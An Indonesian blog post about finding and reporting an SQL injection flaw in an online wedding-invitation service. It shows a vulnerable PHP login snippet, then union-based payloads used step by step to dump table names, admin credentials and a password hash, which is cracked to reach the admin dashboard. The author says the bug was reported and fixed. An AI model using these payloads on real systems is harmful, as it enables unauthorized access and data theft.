Halo! Setelah sekian lama tidak nulis, akhirnya bisa menyempatkan nulis tulisan singkat ini hehe. Sesuai dengan judulnya, never trust user input: jangan pernah percaya dengan masukan pengguna, selalu awasi masukan dari pengguna kemanapun itu akan pergi. Apalagi sampai ke fungsi-fungsi yang berbahaya, oh no!

Karena Tugas Akhir saya juga berkaitan dengan ini. Saya ingin memberikan contoh sederhana nya.

# variable dari masukan pengguna
$name = $_POST['name'];
$pass = $_POST['pass'];

# SQL query vulnerable to SQL Injection
$sql = "SELECT id FROM users WHERE username='". $name ."' AND password='". $pass ."'";

# Execute the SQL statement
$db->execute($sql);

Dari potongan code di atas, variable $name dan $pass merupakan masukan dari pengguna, maka kita tandai sebagai berbahaya, kemudian variable tersebut di-concat menjadi variable baru $sql, oleh karena itu, kita tandai $sql juga sebagai berbahaya. Selanjutnya terdapat fungsi execute dengan parameter yang berbahaya. Hal inilah yang menyebabkan terjadinya vulnerability :(

Salah satu solusi yaitu, jangan lupa untuk sanitize masukan pengguna.

# variable name berbahaya
$name = $_POST['name'];

# fungsi escape sehingga $name aman
$name = mysql_real_escape_string($name);

Oke sekian materi singkatnya ehe, sekarang letsgo to the real example.

The Wedding Invitation

22 September 2019, tiba-tiba salah satu kakak tingkat di kantor nge-chat lewat Telegram.

Wedding Invitation

Baca.. baca.. lihat link nya dan ternyata waw, ada special invite dengan nama lengkap “Achmad Fahrurrozi Maskur”, this is my first time that my name is invited on someone’s wedding. Btw semoga samawa Mas Malik dan Mbak Nay, doakan saya cepat nyusul hehe. Oke back to topic.

Terdapat sebuah website Hadiryaa dengan parameter ?to=. Hadiryaa merupakan jasa yang bergerak di bidang undangan online, baik itu undangan pernikahan, undangan acara / event maupun undangan umum. Jika dilihat, parameter to merupakan nama tamu undangan.

Reflected parameter

Langsung saja kita buka link yang diberikan, benar saja nama saya ditampilkan di websitenya.

My name on Hadiryaa

Langsung dong kepikiran.. wah bisa di-XSS nih! nyoba nambahin jadi ?to=AchmadFahrurroziMaskur<b> eh ternyata tidak muncul apa-apa. Terus coba ubah jadi nama random juga ?to=Bambang, lho kok masih ga muncul apaapa? Hmm asumsi mungkin ada pengecekan di level database. Oke kita coba masukin nama temen yang sepertinya juga diundang. Eh ada! Berarti benar, daftar namanya disimpan di database. Karena sudah di level database, oke kita coba SQL Injection *insert petik* jadi ?to=AchmadFahrurroziMaskur'. EH kok tidak muncul apa-apa.

Kemudian cek lewat DevTools. Wut ada error SQL Ternyata.

SQL Error

Recon

Karena takut ada apa apa di domainnya Mas Malik, saya coba pakai domain orang lain (yang tentunya acaranya sudah lewat). Oke coba cek instagram nya Hadiryaa, eh ternyata iklannya ada nama customernya juga. Hmm.

Recon Salah satu iklan di instagram @hadiryaa

Punten mbak-mas nopi-yodi, saya coba “main” di domainnya ya. Terus coba akses /wedding/nopi-yodi/ eh ternyata beneran ada.

Hadiryaa Nopi Yodi Nopi-Yodi wedding homepage

SQL Injection

Fortunately, hasil dari query SQL nya ditampilin (sebagai nama undangan), pertama-tama mari coba input ' or 1 = 1 --, seharusnya dapet response user pertama, *enter*.

payload ’ or 1 = 1 --

Yay ada. Karena hasil query nya ditampilin, bisa pake union nih, asalkan jumlah kolom nya bener. Oke langkah selanjutnya, cari jumlah kolom yang dibutuhkan.

Kita coba dengan payload kolomnya ada 1: ' or 1 = 2 union (select 1) --, (error)

Error ’ or 1 = 2 union (select 1) --

Kemudian coba dengan payload kolomnya ada 2: ' or 1 = 2 union (select 1, 2) --, (masih error)

Lanjut coba kolomnya ada 3: ' or 1 = 2 union (select 1, 2, 3) --. Alhamdulillah berhasil, ternyata yang ditampilkan yaitu nomor 3, nah berarti payload kita ada di nomor 3

Union Result ’ or 1 = 2 union (select 1, 2, 3) --

Pertama-tama coba lihat database yang dipakai

Database ’ or 1 = 2 union (select 1, 2, database()) --

Kemudian kita cek semua table yang ada di database itu

Tables ’ or 1 = 2 union (select 1, 2, (SELECT group_concat(table_name) FROM information_schema.tables where table_schema = ‘u8738257_wedding_nopiyodi’)) --

Ternyata ada dua table, login dan undangan. Oke kita cek yang undangan dulu.

Undangan ’ or 1 = 2 union (select 1, 2, (SELECT group_concat(column_name) FROM information_schema.columns where table_name=’undangan’)) --

Oke kurang menarik, cuma ada id, namaid, dan nama. Selanjutnya kita cek kolom yang ada di table login.

login ’ or 1 = 2 union (select 1, 2, (SELECT group_concat(column_name) FROM information_schema.columns where table_name=’login’)) --

Yuhu ada username dan password. Mari kita cek username terlebih dulu.

username ’ or 1 = 2 union (select 1, 2, (SELECT group_concat(username) FROM login)) --

Admin??? cek passwordnya.

password ’ or 1 = 2 union (select 1, 2, (SELECT group_concat(password) FROM login)) --

“827ccb0eea8a706c4c34a16891f84e7b”? Karena passwordnya di-hash, langsung saja kita masukan ke salah satu lookup table yang cukup terkenal, crackstatsion.

Crackstation crackstation.net

Lah? lah? ternyata passwordnya 12345. Oke sekarang kita punya “admin:12345”. Tapi dimana dashboard admin? mari kita coba /admin.

admin admin login page

Lah kok adaa??!!?? yaudah coba login.

dashboard admin dashboard

Ternyata di dashboard admin ada semua nama undangan, juga bisa Create, Update, bahkan Delete undangan.

Penutup

Kembali ke judul, never trust user input. Bug ini juga sudah dilaporkan ke pihak Hadiryaa dan sudah difix.

Pelajaran yang (semoga) dapat diambil:

  • Selalu sanitize user input
  • Hash password dengan salt
  • Jangan gunakan endpoint yang gampang ditebak

Leave a comment